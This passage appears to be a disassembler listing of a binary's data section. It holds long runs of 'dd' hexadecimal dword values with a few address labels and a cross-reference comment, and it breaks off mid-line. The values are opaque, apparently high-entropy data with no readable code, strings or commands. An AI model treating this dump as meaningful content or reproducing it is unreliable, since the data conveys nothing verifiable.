0AE2D502Dh, 1A4FA063h, 0B055A9Ch dd 0D636C48h, 720695Ch, 5A129AD1h, 6FE98545h, 2DC113E0h dd 917006E2h, 9F40231Dh, 94E38181h, 0B0CBC432h, 0B817CCCBh dd 1B73A06Eh, 0B1DD0639h, 42DB23E9h, 88E18197h, 0BA445A08h dd 0E94A47AEh, 8764DB8Eh, 425D7697h, 5901D8D7h, 172E4D68h dd 9F28FE6Eh, 0C82F4B62h, 902E711Ah, 8B177E5Dh, 250239E4h dd 0A05DE6D1h, 8F8B885h, 0A8295AF2h, 0AA1E8419h, 85EB8004h dd 0C784FAF4h, 4F68F0D8h, 1C81E67Eh, 0B1C32AB5h, 10D1F6B8h dd 26132D34h, 0D4057846h, 0BEC534h, 5CD56B37h, 0DDA001DBh dd 888030FDh, 0C6F69FE8h, 24DCA73Ch, 3ADDBEEh, 4DE8CF5Ah dd 0E53CB396h, 2E65B6ABh, 4C007D51h, 0E933BF5Bh, 18E160C2h dd 377F9CBEh, 8AB83202h, 57738C75h, 74D0A722h, 4ED90103h dd 5494217Ah, 261BA446h, 0BE28E143h, 0D05B12A3h, 48BFF836h dd 0EC3E2526h, 98D8B59Ch, 0D377F9A2h, 8DDEAFC1h, 7E42E7CAh dd 8793D754h, 2F3C17B8h, 0F82096A4h, 0E68925C2h, 0EC6BBAFDh dd 0ACDD592Bh, 8B1BA25Eh, 50BA555Ch, 6BE6D15Dh, 7B588D7Ch dd 28F04C88h, 0EBEE7213h, 0A35D7431h, 0A2BF0104h, 2F01B41Ah dd 4EFDA9A5h, 0C68AB64h, 0B3912A1h, 0CC1DEDB0h, 0E9043208h dd 57B934F2h, 7F8A8586h, 741C348h, 0DBF580BEh, 0DEC1EB04h dd 0A66FF61Ah, 3D845B18h, 3B8FE3BEh, 7352271Ch, 2CE961E3h dd 85562ADEh, 60296722h, 0BAFB8C6Ah, 7033EC07h, 8CC59990h dd 0C311D37Ch, 900087B2h, 5E702DEh, 0B0386ABFh, 0E9D8082Eh dd 542F5A51h, 0EBE1408Ah, 0CC0FD25h, 8636EF57h, 5B5A0953h dd 0B05FD021h, 0D2236092h, 0C6F6183Fh, 54304430h, 0E0620C12h dd 210612BCh, 3F04EBD6h, 31E24910h, 6A185E25h, 5A5144E9h dd 1F12F876h, 0F40C3161h, 0CC60AF40h, 382B41C3h, 2D7F5656h dd 987EC65Eh, 92AD336Bh, 0AD8CF74Fh, 755E2D42h, 8848B012h dd 332646FEh, 9205AC03h, 6F813C58h, 0DD2E9D15h, 0BB6D4049h dd 2B130A50h, 6507E5C1h, 0EB7F2AEDh, 690CD442h, 1E58C38Bh dd 5C0DD417h, 6E9E900h, 0EA0C9466h, 287063CAh, 5605505Dh dd 0F593978h, 0BB05B0EDh, 0A8628263h, 1D601011h, 0BBFCB525h dd 0AD84B426h, 7388D831h, 8D2B4E88h, 0A4B807B5h, 0CBD0AC22h dd 141F2155h, 9620A70Eh, 4E0840E8h, 9D09D290h, 4D864B42h dd 1BCF0D42h, 4FACE053h, 550E3A9Fh, 0DA8AABD1h, 0A040C2DBh dd 0C15F9E72h, 1A43970Ch, 0D1013005h, 6ACD5118h, 26A78A0Ch dd 9DD02E83h, 8448259Ch, 3A5B8F96h, 13121F96h, 0E0736A07h dd 3D045C1Fh, 0FD0112C3h, 0E90D0810h, 30B10F5Ah, 194CA248h dd 1BB88191h, 0E6821C60h, 682A7233h, 9FE3B5Fh, 5A6F305Ch dd 0F778B302h, 0B7FDEBD7h, 3125F2F0h, 0E4EDFBC6h, 1F02E67Ah dd 0E00BF329h, 0F7312747h, 54E06E75h, 0ECFD4F68h, 1AB8C019h dd 252C934Bh, 0E1C8C8E9h, 1B1E19CDh, 7BCC0613h, 16C361FDh dd 0EB26FA7Fh, 0B9F3C143h, 2961E191h, 0C3ADC004h, 201635C9h dd 538AF289h, 73F9BF00h, 47E94C2Ch, 0EF6F9F61h, 3CF47831h dd 6171ED01h, 0B5EB0804h, 0EC70592Eh, 0EBC99C16h, 0A112F2C8h dd 673F5E39h, 5D62A3D9h, 0EBB7EE84h, 0A9EB0112h, 19169D28h dd 0BDDE418Ch, 0BE5D6C19h, 0B1131229h, 599D6790h, 0C83C484Bh dd 0F901EF4Eh, 0DD25875h, 2DE15ACh, 6DF83591h, 3DB255E1h dd 0DCC9DEB8h, 4FE4F694h, 957EF70Bh, 1D10C580h, 905B072Dh dd 262C019Eh, 47687927h, 0A8765462h, 88805F58h, 9706302Eh dd 0B077B2C0h, 4F586880h, 3996377Dh, 5C2F277Ch, 0D384FACEh dd 2B4C820h, 1AE83598h, 0EB9AF012h, 41EB52C4h, 51664608h dd 752C3F2Ah, 228290EBh, 0B2B00B92h, 755F3514h, 2D3E02A4h dd 5D297DFEh, 7C693ED1h, 9F132045h, 344BA86Ch, 0BBB471AEh dd 61F73BD3h, 16589710h, 0B187EB87h, 173F884Ch, 85DC7D64h dd 237E01C6h, 200E9478h, 5981EAA2h, 9225B92Fh, 66B9A5FCh dd 49BA4E66h, 0E3D04671h, 1161E980h, 74483927h, 5B0802C6h dd 0C44AFDE9h, 6610D0D6h, 860135Eh, 1B25B19Ah, 0D607DA44h dd 0D02D4740h, 5F53B027h, 8A88B194h, 0B9291274h, 37D40287h dd 72016906h, 5D5B58B7h, 1CCDEE10h, 0C89FF989h, 6389F125h dd 7119C1E8h, 49985818h, 38DAA9ADh, 7CB9FDFAh, 0E156AD02h dd 0E65EE15Eh, 80220205h, 8B40F5DFh, 0B911D7Bh, 822F303h dd 0C3C4D955h, 0E8B92C87h, 294C018Ch, 8F286AD9h, 306900BFh dd 0CF294160h, 0C6466E9h, 0A9C15B18h, 3E202159h, 0E381054Bh dd 0C05364CEh, 2048F311h, 264524Ch, 0BF2175C6h, 0DF285768h dd 55792F08h, 5631200Ch, 0D0292E5Ah, 4A5810F4h, 1FE698F4h dd 52BBD4EAh, 2AB2B1BCh, 1797CDA4h, 34CE64h, 3AD7AF4Bh dd 90E93180h, 68096D54h, 3EB060BEh, 828B7Ch, 7D7E0889h dd 6F0CC03Ch, 50543301h, 5180575Ah, 9803E65Fh, 0DDCD1E5Fh dd 9562E4Dh, 9877270Ah, 0C0D362C5h, 65AEF751h, 831F0D34h dd 3D8B01EFh, 7D2D2BF2h, 6C748E01h, 98BE3066h, 0B7ECF941h dd 50B238ECh, 285BFA1Ch, 0D6A6E881h, 0CA6EA265h, 0E905A659h dd 0E1F2D4BEh, 7001EC58h dword_4EF14C dd 292D2364h, 8D4A0CBh, 0C5055903h, 0F3759C77h, 710CDD8h dd 6B9948C0h, 0B33823A6h, 7789BFE1h, 899F8136h, 9ACD7714h dd 0FA81F317h, 823FC328h, 44044DC4h, 0E30C310Ch, 0E1F0FF81h dd 0B2520799h, 0A5C2FEE5h, 225BC4Eh, 6F2D07BDh, 4506414Dh dd 506A6h, 0B8BA83EDh, 0EE4A09EAh, 0C60085A6h, 0DA7B072h dd 0BA176BBDh, 68EE5827h, 172FE905h, 78F85615h, 71AE4003h dd 2704CEBEh, 0B281B03Ch, 9D3AD4A1h, 0E990184Eh, 66C6952Dh dd 25F87AE4h, 7A305D90h, 18B54481h, 0BCCDE9C8h, 0DB2C077Ah dd 14508353h, 0AEC22B00h, 5905C527h, 0BF50B729h, 1D26EE01h dd 0A8F1E96Bh, 82D1B62Eh, 0D1011063h, 6F18BD60h, 1AC53333h dd 1D3BFDEEh, 0ED507829h, 0C89D5808h, 726E9276h, 0C01EDDD2h dd 0E930EF78h, 66B560F4h, 85F19F7Fh, 2912063h, 4DE1C669h dd 5055974Ch, 0BA5634DCh, 4EB3AA40h, 0A842E985h, 0ECB8029Ch dd 0DD2AAC32h, 5D5A7A64h, 521010E9h, 4AF95A2Eh, 6AD80973h dd 0C2003DAAh, 0D2B1A76h, 5BE0314Bh, 0EF71D4FBh, 0EF585416h dd 0B4A7CD78h, 0F9290FECh, 0DA1CAA72h, 6337D7C4h, 0D2480FAh dd 0E9E41840h, 9E002E4Fh, 47232D58h, 433E4819h, 0E9BC714Ch dd 0B973D72Dh, 0AF82C234h, 45766858h, 41E20FDEh, 89BD0F0Ah dd 0A3207ACBh, 3F745F28h, 0F612A2B8h, 87A8124Ah, 2A470801h dd 0AD94E925h, 0C736804Dh, 0FB966843h, 7258EFD8h, 90B44ED8h dd 74D3EBFAh, 0FB5B826h, 0D1788C07h, 55AFE9C2h, 0EEFC8B0Bh dd 4200F66Bh, 0DD5AC3E9h, 9C1812EAh, 1F6C69AAh, 38AE0B42h dd 1442EBE9h, 684DB441h, 89B9008Fh, 8164C321h, 3BBF0CF1h dd 520C5CB8h, 61653E0Ah, 0EF81C489h, 7C02487h, 6D50CA47h dd 0F9D11D19h, 3DC46680h, 0FA2120DEh, 2C2C6C0h, 5DB47FE3h dd 0F24EB589h, 8E5E12FEh, 573194E7h, 53198D96h, 4400F2C5h dd 71653C60h, 5A97685Eh, 6FA3302Ah, 0B9904D10h, 6012F15Eh dd 201A2DEAh, 7FE1C187h, 0BB4BADE7h, 69651728h, 445F3DFFh dd 0A3EE05C5h, 0C1F4A2DDh, 9883AF33h, 82F8F7A3h, 23A33E73h dd 544025ADh, 65188ABBh, 4E30571Eh, 669CC1DDh, 2A75A868h dd 4826A0BDh, 58313EDFh, 69BCF8FAh, 8E8B0494h, 0C0C62Dh dd 122205D1h, 10CD2925h, 590908F6h, 8AB0E989h, 0D69DCD01h dd 0FEEC59CBh, 0AF50655Fh, 0E958E5D6h, 606A4184h, 181FBAB6h dd 0EE24536Bh, 5A459901h, 3058927h, 6528F303h, 0B008E9C8h dd 42F6C1CFh, 89E0C093h, 97F178E3h, 0B95847F6h, 0A12200AFh dd 3ABD554Bh, 405F9B57h, 9E4DFF0Ah, 75B84225h, 5997875Bh dd 156077DDh, 96D8B1C2h, 6B392D5Fh, 0E36F19B5h, 7BEEC009h dd 0B8751E52h, 352C0451h, 0F829119Eh, 23D6261Dh, 0E9250B20h dd 28C1603Bh, 125A70D0h, 0E8D204D8h, 0F8CC3D56h, 5145E92Eh dd 58C53187h, 1CFED187h, 81AC525h, 5000AC8h, 5FA41B6Bh dd 1D04C01h, 0C0290840h, 615C0568h, 55EC2CB0h, 0EB48E974h dd 34488730h, 0DE377892h, 2AB05164h, 0D8BEC584h, 0FD60E078h dd 0F27DA277h, 452D814Ch, 259F0807h, 0A1B85800h, 6BE109h dd 1D365505h, 3F59E912h, 7CBB37A0h, 10223548h, 5D18FF9Fh dd 3D13A645h, 2105C2B3h, 0A00D2841h, 2F44107Ch, 28890A12h dd 0F3D11528h, 0F0B24C64h, 0E000B428h, 808EB652h, 4E287AF6h dd 173CB6F4h, 9F3950E4h, 0EF0420EDh, 9AC1DBE4h, 9D61BF8Dh dd 80B534E3h, 0B586F53Fh, 0A570AA49h, 245A5D52h, 2CBD5F7h dd 4DFC5E7Bh, 0CD99DCD8h, 60315569h, 2C7A90DDh, 4AD20810h dd 4DD53AFh, 0AC4D31B2h, 1CA8C4AAh, 13E41EFCh, 2E428E8h dd 9B205441h, 0D8505FE3h, 781125A2h, 21372AD0h, 82DFD90Fh dd 0C848FA03h, 2C186B6Bh, 1496CF8h, 72537CECh, 0C3C2DB01h dd 79650889h, 267CCCBFh, 5B9DD716h, 721127B9h, 0EC074E7Ch dd 24490FC5h, 80EE2B48h, 41C2CE22h, 55F4CFCh, 959C601h dd 6414E918h, 65B7539Ch, 0BF50135Dh, 126F652Dh, 4D2DABCEh dd 3BE5F33Eh, 0B80ABE9h, 4D545C18h, 6CCE035Bh, 5205D0F7h dd 0B7D10F4Bh, 0E67C17D7h, 79DE01B1h, 0DD5C16EBh, 987F9EB5h dd 3B172D42h, 21E02C37h, 0BDE7409Eh, 551AA518h, 1365C2E6h dd 0E971500Ah, 6A084116h, 24E9A8E4h, 502BDA88h, 68010A05h dd 0E02D5166h, 5EF6F45Bh, 0F907208Eh, 8CFA1147h, 0AFCCE9C1h dd 20852D7Bh, 8382F9AAh, 309870BCh, 74785A0Ch, 2E25EA20h dd 669EE051h, 4ACD58EEh, 68933071h, 3E1C02Ah, 7BF64Ch dd 0D930BAB3h, 9D6F2C5Bh, 59E892D8h, 8C580295h, 8FE755B9h dd 64008124h, 0E942FB5Fh, 6093B227h, 47A4765Eh, 0C39014D6h dd 45E5D112h, 603BA0Bh, 0F22668Ch, 30F2771Eh, 4CAAC29Fh dd 7B404B46h, 0B2E42A02h, 5DEA291Ah, 8BD0006h, 904E401Ah dd 2CF32784h, 0CAF26FC6h, 515CBBA8h, 0F18774B5h, 1CB32E5Ch dd 1C684C98h, 82B05954h, 120DA540h, 0BAC54EC4h, 2835EE00h dd 0B53A46B4h, 960BF44Ah, 8296B1F1h, 76E187BFh, 0BA2F4D33h dd 0FCDAE61Bh, 0B7405AD5h, 0E3632AE1h, 8E5C003h, 9805ED80h dd 3C301CC5h, 0C48259EFh, 0F8B252C3h, 0FE47CC59h, 801E6589h dd 8002E2C0h, 0D4E0C5EAh, 83D5E92Fh, 0E7EC28F6h, 0D4887E25h dd 57BE40EBh, 51F7BF05h, 0D1BC37A8h, 3863D04Fh, 715C7514h dd 76E50931h, 0BEFE41B6h, 4E0E32F4h, 5EF8BC01h, 0D01259E8h dd 0D023FAE3h, 0B80F8E9Ah, 5C580C4Ch, 2B0C59F1h, 4D5B6312h dd 74A60D01h, 842E050Dh, 0D7CFEA4Dh, 0A9F7E916h, 54B1024Eh dd 5D3AC980h, 164F5C43h, 0FDB72DBFh, 73F32D0h, 9B5515Ah dd 0B5EF713h, 6D67E8D2h, 0F892007Fh, 951E754Dh, 0A11729DEh dd 0D12A08F1h, 5C9B496h, 17A6E2ABh, 37E70C30h, 46BBBF02h dd 55F87193h, 324A0E1Fh, 3E1D96Fh, 1CC82F52h, 9160DBCAh dd 9848E161h, 0A3DE28B2h, 0BB526525h, 4DA2D995h, 0EAF5D138h dd 2DBF1735h, 0D9EC3F3Dh, 0AAC8B6C5h, 4A7B29CEh, 844EF3C2h dd 5E0E851Fh, 0B243D6C5h, 35FC5AC8h, 0B540F8F5h, 3940F68Dh dd 12EB5123h, 0A076E970h, 51B55C6Ah, 9BB6AEDh, 8544100Eh dd 6891591Eh, 1B09CFFAh, 0DB2ED74Fh, 9E77E563h, 92B6F48Fh dd 47555CC3h, 0E95002F3h, 3374B340h, 586A062h, 0D831EC56h dd 1358D76h, 0D7B8333Dh, 3F3ED8DAh, 0FAEC5816h, 1888610h dd 2D3483B0h, 0D3EDC608h, 0B94A9968h, 0C056B26Ah, 810AEBD2h dd 38CE2266h, 0FE5C409Ch, 3EF64851h, 2AE868C2h, 0FA82DE51h dd 0D6770704h, 0F2810008h, 1CDD7C03h, 1E34BAC0h, 724974A7h dd 0EE1FE41h, 2EF55CBAh, 6E63E9CEh, 0F1E027FCh, 0D90FA13Bh dd 0A5CA018Eh, 8CAAD52Bh, 0A6416079h, 4B0EA640h, 0DBEDF3F2h dd 57484B28h, 0CCFEDE0Eh, 0CA0E725Dh, 45FD0EDDh, 0E3045BFDh dd 96D1FB19h, 0AB7602D4h, 0B5E3EE35h, 4F1C3870h, 3EA943ECh dd 0F6857C0h, 10B60911h, 4D507DE9h, 7949C7F4h, 704B2F5Fh dd 0A6719D24h, 660109A8h, 0E93DC3BDh, 0C78E0313h, 0EF6487F1h dd 9CE5FBF5h, 317CF4ECh, 0D2C6E708h, 0A4EB5005h, 1725FB28h dd 5AA8D65Dh, 975964FDh, 9569D4ECh, 19840057h, 0F743445Ah dd 1781CAD1h, 0AE3011EFh, 8161ED78h, 15DCBD6Dh, 122F09D7h dd 0E2B2C0EBh, 0EA2F4919h, 0E5120146h, 62A51765h, 0CFDD9B42h dd 190B45Bh, 6E9D7D2h, 0B1FD2BE5h, 0F150C107h, 0E479FB22h dd 381D7ADh, 243FE9DDh, 0D3955B0Fh, 75E30028h, 0C1108C77h dd 3201EB4Ah, 6324537Ch dd 350EE240h, 0FA1E5AD0h, 86EAC964h, 0E91A3001h, 605CE45Fh dd 0B72377FFh, 48B50D18h, 601BD425h, 2635D1C4h, 2E73AF9h dd 71734D9Dh, 0AF148084h, 0BD21B234h, 9D50C6D2h, 3068B5EDh dd 0DE0C05D0h, 3358BC75h, 28CD030Bh, 170F9D65h, 13235A1Ah dd 0FE20EF9Dh, 40F704E7h, 64129E0Ah, 20081C1Bh, 3F68008Ch dd 5E7D5A35h, 0F6814E03h, 0E07E696Ah, 37E9F189h, 9729FF72h dd 0EE550B61h, 84E91350h, 19E0901Fh, 975C78EEh, 984720CCh dd 254CF499h, 717E2A36h, 0D33A80B9h, 0D629F9C7h, 0A8DAA05Ah dd 4E2809B1h, 87E25BE9h, 80CB0C56h, 0B5310AD3h, 15569D74h dd 0E9040CC8h, 46E85D93h, 0BAA883C5h, 4065617Ch, 51775FD9h dd 0C200E64Ah, 2D4EA0BAh, 0BF5A950Ah, 0F78270Fh, 2094125h dd 0F8F55556h, 95078FF2h, 0FC1E4111h, 797E40CFh, 0D4F88B5Ah dd 40B00CF6h, 60DA9B45h, 2F7F5575h, 0ABC843A4h, 98CAF3D5h dd 9C09CD29h, 88A0592Fh, 0E830F82Dh, 98FA475Eh, 2CCD099Eh dd 0C4050833h, 5584926Fh, 0E61A6955h, 0F274C42Ah, 80D2072Dh dd 0C30746EBh, 0E9445D5Eh, 0C2B5BB0Bh, 2723B83Bh, 6F0CFCAFh dd 0E31E2204h, 8DED1094h, 0E1072058h, 30833C50h, 8230AFB8h dd 0E4357702h, 0C3419C7Eh, 5040348h, 0F47516Bh, 944A36F0h dd 4F9DCDA0h, 0EE2FB280h, 6ED941E0h, 0D1753D01h, 0D13AAE4Ch dd 3AF24153h, 0BD4A6BF3h, 0BCEF1ABEh, 58A8FC1h, 0C6B93B78h dd 0C535FBDEh, 99D2EE3Ch, 9E1655EFh, 72C2096h, 540E3A2Fh dd 54DA96Ah, 0EEF187E9h, 4EFA9C8Ch, 20A0CDB5h, 0D6B8C6DCh dd 0A158552Eh, 0A60FF358h, 555479AAh, 8E2FF273h, 5A680BCFh dd 0D2533043h, 0BDACBFECh, 24B22909h, 247FF9Eh, 0B2250F6h dd 70E97C32h, 0E34B6172h, 70B67DFEh, 39380621h, 1E688928h dd 7013B073h, 12DF7B57h, 0BC0A3BE9h, 0BCC9D29Eh, 0E56148EEh dd 514B1ECh, 0FCB52367h, 378058Ah, 0C8BF3A5Fh, 8F1E99CAh dd 0F35360ACh, 754C400Ch, 0B66813E7h, 5938FF4Fh, 84EE95C7h dd 692C6814h, 5E54C499h, 6882FBF2h, 0E902306Fh, 0B5C3D0B4h dd 0C595EAD2h, 0B147890Bh, 0EC6BB966h, 37055F35h, 7B9132Eh dd 0FF497B5Ah, 0BE16180Eh, 0D021B7CDh, 0DE690165h, 592FE45Eh dd 69339Fh, 838D680Ch, 50E91D35h, 77E3FE4Eh, 539D005Eh dd 930538BBh, 2CE46150h, 0D0EF753Dh, 653818F0h, 0F7E99F0Eh dd 0D0F62FA0h, 9F9F8ED4h, 0D25FE4A7h, 0BD05FA7Dh, 0DFA4F427h dd 0BB291D70h, 4B03BE74h, 1669E64h, 8821CE6h, 0A0CE655Fh dd 6DF09D1Ch, 2B279884h, 6478D6A8h, 0A698AFD6h, 0B025922Bh dd 8749B599h, 0B7A96E14h, 3A02E9F1h, 0A3BEC884h, 0D9AF964Ah dd 0A7CD3A37h, 0CB27E27Eh, 0F73AE0C1h, 0BD974BD7h, 95D314CAh dd 6F5F81E9h, 713079F8h, 0FD050748h, 69DC0488h, 4CF0F00Fh dd 44E3097Fh, 0FD382FBh, 0F6C57FECh, 4081B42Fh, 0FE13E933h dd 3DAF0102h, 1FEC6FBDh, 0C2D9B4E1h, 0B03F35Fh, 99765BDDh dd 8EE79B8Dh, 533B076Fh, 0BA664FB3h, 38C016E6h, 1FF53E70h dd 0E3DA4889h, 9C5BDF4Ch, 0DB4ED7D5h, 907B77B5h, 266853B9h dd 0BD50989Fh, 0D41F0396h, 0E87FE97Eh, 0D13327Ah, 8005C36Bh dd 75F46E4Dh, 4E1F0B5Dh, 18896842h, 0D0A93A30h, 0E90AC204h dd 18F4674Ch, 58787349h, 5F2DD971h, 0A5D186FEh, 65BF8145h dd 66CCBFDDh, 97F14CF7h, 0F672EB1Dh, 6F709A75h, 72E374B5h dd 0F7209150h, 0D1C15CD4h, 59F18102h, 0C4828707h, 80013034h dd 0FEC078C7h, 9A5B4866h, 2CB753B0h, 254EE913h, 0F300CDBDh dd 4A231DE7h, 0BCA0D3F7h, 50B5359Ch, 5BD82466h, 195AC525h dd 6BFE70ECh, 4A1E50CCh, 33BB235Dh, 0ADAB172Ah, 0A4E5CD95h dd 0D97B0806h, 68516601h, 0A6571225h, 9CFC1504h, 0D8F2FC93h dd 0A0D1A136h, 0B8475FF1h, 978A945Bh, 0B19AFC29h, 0BC3BFB89h dd 91C8E49Ah, 53DBB65Bh, 0B54A6A24h, 39076893h, 0CA34B5Ah dd 0C1CD03B3h, 8A53D01h, 46BF31B0h, 182EBC25h, 99D613Fh dd 0C10AE9C3h, 1E366875h, 5C789757h, 21709C0Bh, 0BF2270A6h dd 995F1B0Bh, 923A19DCh, 0F962D6FFh, 0F5FDA075h, 50F05762h dd 1F2DAF4Fh, 0F219E63h, 0AE44B9E5h, 96F4EB5Dh, 442FF551h dd 0BDEA8124h, 7E044B33h, 8003EFC0h, 0C08496C2h, 59EE28D7h dd 0CCCEFE28h, 0E916B105h, 8547858Ch, 20F54D69h, 83B4EEF8h dd 0A09CF43h, 5EBD68ACh, 0B4506030h, 0DC17F64Bh, 485D5AE9h dd 0FAC07D49h, 29020FD5h, 7E690B27h, 0A1BFBA60h, 2BF76C78h dd 5F7FA00h, 0F44D83C5h, 5E8F6BE3h, 20DE96E9h, 912C706h dd 35013645h, 19600848h, 249DEED8h, 8EEF778h, 5A1E4167h dd 0B000D013h, 0B405A92Dh, 1F250023h, 0E929D376h, 0BFD01C07h dd 84BF15E1h, 50F103FBh, 0B745283Dh, 0BDE7AEC0h, 3C929EA0h dd 2816F019h, 60FBE55Dh, 1410BB9Ah, 0B44E4857h, 6EEBE9BFh dd 2BCA5513h, 0EF42277Eh, 0E8579299h, 6AE1DBD9h, 0EAA3AABDh dd 742768C9h, 5725E96Ah, 0F3F41921h, 522C097Bh, 0B5408B59h dd 66E95021h, 0CE297B14h, 0BC60505h, 3B8108E0h, 0E36FD9EDh dd 0C6889F57h, 22581381h, 9D44310Ch, 0F711160Bh, 0D3095713h dd 0B77DE6FFh, 0AB647A74h, 0B8B9F7F0h, 27C73DDCh, 0A9336518h dd 295A59CDh, 0BB204499h, 73A5B57Eh, 4C43AC7Dh, 7C5624A7h dd 4D598202h, 8695C11Ch, 0A3560DA7h, 12EE3116h, 0BAC8B74h dd 200571E9h, 78AEF646h, 0C793480Ah, 4E27A84Bh, 8CD61EE3h dd 46404924h, 0EF31295Dh, 2C7D265Ah, 0DF2942D8h, 0D2B8E275h dd 69D2C86Bh, 0A005AD07h, 5639A461h, 1D7BDF1h, 5EA9C369h dd 8055524Dh, 0E40BDBE6h, 29EBD5Ch, 0E99A391Ch, 0A6A9876Bh dd 2F2DCF91h, 0B7F43497h, 0B865C5AFh, 3B6B0E2h, 454EE9h dd 1E5E052Ah, 5E98092Bh, 282AED01h, 9E35E92Fh, 0B4312096h dd 1D3168C4h, 4769FF27h, 8A6A8C3Ah, 9028BE40h, 6ADEF46h dd 0DF203AFFh, 2C38ED94h, 4B8B4C3Fh, 0F602C5BCh, 4ACA80D2h dd 488463FFh, 0FF05A5E5h, 0BA1A8E59h, 0BD4E77B2h, 5C871C5Eh dd 2A89029Fh, 82A55149h, 7F71DA8h, 80EC658h, 0D28A3D84h dd 6CF108E5h, 0FB5B0C48h, 0FC7C2AADh, 27C11F22h, 393622DCh dd 3D5E0840h, 13C10F2h, 38E91774h, 585AE280h, 0F4D990C1h dd 0FFCE38D2h, 0B7F1ECCFh, 0DB43B1F2h, 29FC0E98h, 0ECDAEE13h dd 0CA05E90Ch, 48972D54h, 54E76869h, 9285CF10h, 0FD291664h dd 0A5C8A85Fh, 8311F3BEh, 27887E9h, 2817B80Ah, 85D7116Ch dd 59F1C47Dh dword_4F0044 dd 0E420ED3Eh, 1A90FAB0h, 7B15377Eh, 0EC9F6375h, 0A6D236B9h ; DATA XREF: ___:004380ECo dd 0C3957CB6h, 5AB82B4Bh, 21448E0Eh, 33D8FB13h, 2D112568h dd 468BD49Ah, 20B71A41h, 7C50BF85h, 36184874h, 670C0AEFh dd 2CF57B44h, 2558EAD1h, 895FC181h, 3BDB71F7h, 6855B800h dd 0FBA746B0h, 992CB73Dh, 0D0318930h, 0E45FD7B2h, 5BE9165Ch dd 0DCCE2046h, 5E274216h, 78DF80D1h, 791CB00Bh, 93098F7h dd 1270FFFBh, 523B8557h, 5D8725D2h, 17A69B23h, 0AED471CAh dd 0A7CF4980h, 0B0E901A5h, 8DC84C43h, 0E1DCB72Ah, 94E7E648h dd 9C752DFCh, 0E9A94FCh, 17102AE0h, 0B1BC5EE8h, 20F68BC5h dd 0B498A9D4h, 0CD2D7E7Bh, 945F35Fh, 0AD676B37h, 0CA27FEA0h dd 2062948Eh, 315A1179h, 216328FBh, 4F32F94Ah, 8FF8905Fh dd 8446B556h, 6684E916h, 0B7806AA3h, 0B5FE943h, 42A51D91h dd 0AA995F16h, 584E2406h, 0DFF68005h, 0C3EEF030h, 0C3C90FDCh dd 0E3AE9799h, 4581F881h, 3C5FC38Ch, 0BC7F0B0Bh, 0F2C3BFFh dd 0B1ABC766h, 0EFF6F71Bh, 87C8171Ch, 596680A3h, 1E654868h dd 0EBE8EF4Dh, 312CAF4Fh, 61938114h, 8424385Fh, 1139FA4h dd 0F167583Dh, 0E00B6E12h, 0F24E01BAh, 74202924h, 5603400Dh dd 0CF7D769Fh, 470996C6h, 8A5A90ECh, 2F689088h, 16DB0BF7h dd 0E89ECC49h, 0DFF734FBh, 1C60D008h, 170E5E38h, 8930C981h dd 4F7360CEh, 7B5248AFh, 2FD7D11Ch, 0E24B2A69h, 0D21300DFh dd 263A2E61h, 1C4EDC1h, 4F3ECCE5h, 85C62E57h, 0F54CC006h dd 437AFE6h, 96EB3125h, 0C980B712h, 0CE2966EFh, 0B694414Fh dd 325E080Bh, 808EFE4Ch, 3B9BD0EEh, 449F2183h, 0B8BB160h dd 0B075FD2Bh, 0B50914A5h, 1BB3936Eh, 14ABB108h, 0C52CE351h dd 9222E406h, 5DE45BFEh, 44B9FA1h, 0FAA3C3FAh, 0FE84F298h dd 68806AF9h, 92EA30AEh, 22422D23h, 0E892F6D1h, 1D1E308h dd 0FB02B4BDh, 0F01C3173h, 0ABBFF29Ch, 0B3007D37h, 1F8C07EEh dd 94E68101h, 466E3605h, 0D6287E21h, 92CFB75Eh, 33B22DFAh dd 0AC55106Ah, 20100848h, 0ADBB0001h, 814D3951h, 49330CEBh dd 4C0C2348h, 0EF86FC17h, 0F65E9F44h, 6632B900h, 87B72B99h dd 0FBE248C5h, 0CEFE4870h, 0D3611794h, 4EEA0121h, 7C17872Fh dd 50A4015Dh, 0C7E98F62h, 0CC5C8995h, 94DA95C5h, 0C0A5043Dh dd 4736C1EBh, 0C3CC6C17h, 0E1DEF6F9h, 95333169h, 1D13B01Fh dd 0CB942D8h, 0C960FEBDh, 46B58A6Ch, 0C6E32033h, 8B6774B5h dd 9855B9F0h, 0BAC1510Ch, 37139805h, 0A20A68D7h, 0F1010CDBh dd 1FCC87Ah, 4EE977CDh, 0E9CC508Bh, 0F4D9E316h, 6D3D406Ah dd 6AD2CBFEh, 0A769F1DFh, 0E9FE30DDh, 68EA9F14h, 0B450C580h dd 0E1012830h, 535B6658h, 0F3F8DBB3h, 7E8B9821h, 9381976Dh dd 7A010E8Ch, 80CD2EB3h, 3EA73BE1h, 6F37C349h, 0C35F05A0h dd 0FB1FED58h, 639832FFh, 16E2D13Bh, 0BF672168h, 4BC0F563h dd 0CEF0B0BDh, 0FBD6D09h, 3F31F558h, 1357C25h, 6107055Ah dd 74202237h, 200E138Eh, 0DC93AA3Bh, 73BFE826h, 16D664F7h dd 0A7440002h, 1291DE3h, 7E055EF0h, 6F6BE706h, 7C07C710h dd 0FD58310Fh, 1933543Eh, 93D6575Bh, 0A8D3B99Ch, 575A5E99h dd 0A2EFE86Eh, 7E46150h, 0C2605102h, 0AA94C84Fh, 805BDC01h dd 0F06B2CE4h, 3028F6F3h, 0B05EDCF4h, 0BEB49BE2h, 72E9DD21h dd 0BF35092Fh, 298F6C54h, 7F0F84F8h, 0D1290916h, 76BEE9FDh dd 0E01BCD6Ah, 0E0BE32B3h, 0E3961582h, 9EDED44Ch, 0DB39C5C7h dd 650FF6Eh, 31677F08h, 5B85E66h, 0A2646268h, 2BEB4FF0h dd 0F11B50F4h, 0FFEBD4B6h, 0D4663905h, 129AECBh, 0B816902Dh dd 0C1A2AC4Ch, 2D765CC8h, 0D054F23Ah, 29807BAEh, 92B790D6h dd 8E75BB42h, 0AA04E45h, 2F9E2D58h, 8297427Ah, 0E72482A4h dd 35B3894Bh, 0EA6FF84h, 0C256CB4Fh, 1DD37D0Ch, 0F5B7DF0Bh dd 9729DEB1h, 89F1CA5Ch, 7313B03Bh, 7ECE490Dh, 7160D901h dd 4E9A8358h, 461A05F5h, 0BA3631A0h, 495A76F7h, 6803ACDBh dd 7F836B86h, 3E2C1D8h, 0BEDAF724h, 6EA823Bh, 0F6196E68h dd 0BE0864A0h, 7EDFC12h, 0A9496886h, 1BA99882h, 0CAEFBCD5h dd 648D2290h, 9F2CFB51h, 684D0330h, 6AD2E971h, 10C74B03h dd 7F741Eh, 0D001570Ch, 0ADE95E68h, 0A427AA4Fh, 64E1DA84h dd 0F476A87Bh, 9CFC1B9Ch, 